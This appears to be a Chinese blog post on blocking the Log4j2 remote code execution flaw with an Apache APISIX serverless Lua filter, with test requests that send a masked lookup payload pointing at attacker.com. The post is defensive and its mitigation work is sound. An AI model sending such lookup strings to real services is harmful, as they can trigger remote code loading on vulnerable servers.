使用 Apache APISIX serverless 能力快速拦截 Apache Log4j2 的高危漏洞

1,402 阅读2分钟

近日网络上曝光了 Apache Log4j2 的远程代码执行漏洞。该漏洞在 Apache Log4j2 的开发团队完全修复之前提前曝光,导致在野利用,使用 Log4j2 的 2.x 至 2.14.1 的版本的项目均有被攻击风险。

漏洞利用分析

从该漏洞复现过程我们可以分析出,利用该漏洞的关键步骤是构造恶意的 payload,类似于

{xxxxx//attacker.com/a}

在官方发布完全修复版本以及当前环境升至修复版本之前,需要一种临时措施来拦截携带改恶意负载的请求,保护服务不受该漏洞的在野攻击。

Apache APISIX 应对措施

我们可以在 Apache APISIX 上过滤请求负载,用正则匹配恶意的 payload 的关键词,并对其进行拦截。

假设 payload 的关键字为 "xxxxx",可以用 serverless 插件执行自定义拦截脚本,配置示例如下:

curl http://127.0.0.1:9080/apisix/admin/routes/1 -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '
{
    "uri": "/*",
    "plugins":{
        "serverless-pre-function":{
            "phase":"rewrite",
            "functions":[
                "return function(conf, ctx) local core = require(\"apisix.core\"); local payload, err = core.request.get_body(); if not payload then local uri_args, err = core.request.get_uri_args(ctx)\n if uri_args then payload = core.json.encode(uri_args, true) end; end; local m = ngx.re.match(payload, \"xxxxx\", \"jo\"); if m then ngx.exit(403) end; end"
            ]
        }
    },
    "upstream": {
        "type": "roundrobin",
        "nodes": {
            "127.0.0.1:1980": 1
        }
    }
}'

注意:上述配置中 serverless-pre-function 相关的配置是自定义脚本部分。其他配置为 Apache APISIX 常规配置,请根据实际情况调整。

上述 functions 字段对应的脚本中主要做了以下事情

  1. 提取请求负载(包括 GET 请求的 URL 传参方式和 POST/PUT 请求体传参方式)

  2. 正则匹配恶意负载

  3. 拦截携带恶意负载的请求

该脚本提供了处理此类恶意负载请求的实现思路,主要是进行捕获攻击特征,比如 jndi 关键字等。大家可以根据自己的需求,对该脚本进行完善或者优化。

验证

拦截在 GET 请求参数中携带恶意负载

curl -I 'http://127.0.0.1:9080/hello?foo=${xxxxx//attacker.com/a}'
HTTP/1.1 403 Forbidden
……

拦截在 POST 请求体 (application/json) 中携带恶意负载

curl -i 'http://127.0.0.1:9080/hello' -H 'Content-Type: application/json' -X POST -d '
{
  "foo": "${xxxxx//attacker.com/a}"
}'
HTTP/1.1 403 Forbidden
……

拦截在 POST 请求体 (text/plain) 中携带恶意负载

curl -i 'http://127.0.0.1:9080/hello' -H 'Content-Type: text/plain' -X POST -d '
{xxxxx//attacker.com/a}'
HTTP/1.1 403 Forbidden
……

拦截在 POST 请求体 (application/x-www-form-urlencoded,不对请求体进行 URL 编码) 中携带恶意负载

curl -i 'http://127.0.0.1:9080/hello' -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d '
foo=${xxxxx//attacker.com/a}'
HTTP/1.1 403 Forbidden
……

关于 Apache APISIX

Apache APISIX 是一个动态、实时、高性能的开源 API 网关,提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。Apache APISIX 可以帮助企业快速、安全地处理 API 和微服务流量,包括网关、Kubernetes Ingress 和服务网格等。

Apache APISIX 落地用户(仅部分)

图片